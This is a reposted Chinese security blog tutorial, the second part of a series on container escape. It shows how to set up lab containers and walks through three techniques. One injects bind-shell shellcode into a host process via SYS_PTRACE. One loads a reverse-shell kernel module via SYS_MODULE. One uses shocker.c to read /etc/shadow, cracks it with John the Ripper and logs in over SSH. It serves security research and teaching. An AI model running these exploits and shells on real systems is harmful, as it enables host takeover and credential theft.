容器逃逸的7种方式 0x2

admin 2023年10月18日00:34:27评论71 views字数 4624阅读15分24秒阅读模式
书接上回,点击此处查看本系列的第一部分。
容器逃逸的7种方式 0x1


容器逃逸的7种方式 0x2

03 进程注入


逃逸说明


进程注入允许一个进程写入另一进程的内存空间并执行 shellcode。要将 shellcode 注入主机中的进程,容器必须具备两个条件:

1. 容器的进程必须具有 SYS_PTRACE 功能。

2. 容器的主机必须与容器共享其进程命名空间。


注入操作可能会失败并可能导致意外行为。因此,为了避免这种情况,在逃逸技术中,我们将使用运行在主机上的Python http服务器作为目标进程,并将shellcode注入其内存中。


易受攻击容器和主机要求


所需的最低 Linux 功能:SYS_PTRACE(SYS_PTRACE 功能允许执行 “ptrace” 系统调用)。

所需的容器设置:

1. 容器的主机应将其进程名称空间映射到容器。提示:您可以通过在主机和容器上执行“lsns”命令来验证主机和容器之间共享哪些 Linux 命名空间。

2. 容器内应安装以下工具:


apt install vim apt install gccapt install net-toolsapt install netcat

3. 所需容器的主机设置:
容器的主机应运行 Python http 服务器:


/usr/bin/python3 -m http.server 8080 &

设置易受攻击容器的命令


docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --security-opt apparmor=unconfined ubuntu bash

取额外功能的命令


docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu bash

注意:即使将 SYS_PTRACE 功能分配给容器进程,AppArmor 保护也会禁用 “ptrace”操作。因此,我们在创建易受攻击的容器期间禁用 AppArmor。


逃逸容器的命令


在此技术中,我们使用 infect.c 代码(由 0x00pf 编写)来创建注入器。我们还使用来自https://www.exploit-db.com/exploits/41128的以下 shell 代码替换 shellcode(第 36-39 行)   ,并将“SHELLCODE_SIZE”(第 33 行)更改为 87。


https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.chttps://www.exploit-db.com/exploits/41128


x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66 xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2b x58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6e x2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05

使用以下命令逃逸容器:


# List process that runs on the host and container.ps -eaf | grep "/usr/bin/python3 -m http.server 8080" | head -n 1# Copy and paste the payload from inject.cvim inject.cgcc -o inject inject.c# Inject the shellcode payload that will open a listener over port 5600./inject <PID># Bind over port 5600nc <HOST-IP> 5600



容器逃逸的7种方式 0x2

04 添加恶意内核模块


逃逸说明


Linux 容器共享相同的操作系统内核,但其容器进程与系统的其他部分隔离。具有SYS_MODULE 功能的容器可以将内核模块加载和卸载到共享内核中。在此容器逃逸技术中,我们将在容器中创建一个模块,该模块将从主机打开一个反向 shell。接下来,我们将利用 SYS_MODULE 功能将此模块添加为内核模块。


易受攻击容器要求


1. 所需的最低 Linux 功能:SYS_MODULE(SYS_MODULE 功能允许执行 “insmod” 系统调用)。

2. 所需的容器设置:逃逸需要安装与主机操作系统版本匹配的内核头文件。

3. 容器应安装以下工具:


apt install makeapt install -y vim # or any other editorapt install -y netcatapt install -y gcc# Container should run with the same operating system version as the host.# Get the kernel version by ‘uname -r’version=$(uname -r)apt install -y linux-headers-$versionapt install -y kmodapt install net-tools

设置易受攻击容器的命令


docker run -it --cap-drop=ALL --cap-add=SYS_MODULE ubuntu:<HOST-OS-VERDION> bash

获取额外功能命令



docker run -it --cap-drop=ALL --cap-add=SYS_MODULE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu:<HOST-OS-VERDION> bash

逃离容器的命令


在这种技术中,我们使用 reverse-shell.c 代码来创建恶意内核模块。我们将反向shell中的IP更改为容器的IP。


https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_sys_module


# Get the IP address of the container
ifconfig# Copy the revese-shell.c and update the IP address in the code with the IP of the containervim reverse-shell.c# Copy the Makefilevim Makefilemakenc -lnvp 4444 &# Inject the module into the kernel’s hostinsmod reverse-shell.kofg %<JOB-ID>



容器逃逸的7种方式 0x2

05 从主机读取secrets


逃逸说明


DAC_READ_SEARCH 功能允许绕过文件或目录读取权限检查,并使用 “open_by_handle_at” 系统调用来读取它。该系统调用允许遍历整个主机的文件系统。在这种容器逃逸技术中,我们将使用“open_by_handle_at”系统调用执行从主机读取 /etc/passwd 和 /etc/sahdow 文件的代码,  并将其内容保存在容器中。接下来,我们将使用“ John the Ripper ”密码破解程序来获取主机用户的密码,该密码可用于与主机进行 SSH 连接。


https://www.openwall.com/john/

易受攻击容器和主机要求


1. 所需的最低 Linux 功能:DAC_READ_SEARCH(DAC_READ_SEARCH 功能允许执行 “open_by_handle_at” 系统调用)。

2. 所需的容器设置:容器应安装以下工具:


apt install -y vim # or any other editorapt install -y sshapt install -y gccapt install john -y # John the Ripper password cracker packageapt install net-toolsapt install -y netcat

3. 所需容器的主机设置:容器的主机应具有:至少一名拥有有效密码的用户、已安装 openssh-server 软件包。


sudo apt install openssh-server

设置易受攻击容器的命令


sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH ubuntu bash

获取额外功能命令



sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu bash

逃逸容器的命令


在这种技术中,我们使用 shocker.c 漏洞来从主机读取文件。


https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_read_search


# Copy the shocker.c contentvim shocker.cgcc -o shocker shocker.c# Use the shocker to read files from host:./shocker /host/path /container/path./shocker /etc/passwd passwd./shocker /etc/shadow shadow# Combine passwd and shadow files unshadow passwd shadow > password# Use John the Ripper to crack passwordsjohn password# Connect to the host with the John the ripper’s output credentialsssh <USER-NAME>@<HOST-IP>password: <password from john’s output>


参考及来源:

https://www.panoptica.app/research/7-ways-to-escape-a-container



容器逃逸的7种方式 0x2

免责&版权声明


安全小白团是帮助用户了解信息安全技术、安全漏洞相关信息的微信公众号。安全小白团提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,用户将其信息做其他用途,由用户承担全部法律及连带责任,安全小白团不承担任何法律及连带责任。欢迎大家转载,转载请注明出处。如有侵权烦请告知,我们会立即删除并致歉。谢谢!

原文始发于微信公众号(安全小白团):容器逃逸的7种方式 0x2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月18日00:34:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   容器逃逸的7种方式 0x2http://cn-sec.com/archives/2115792.html

发表评论

匿名网友 填写信息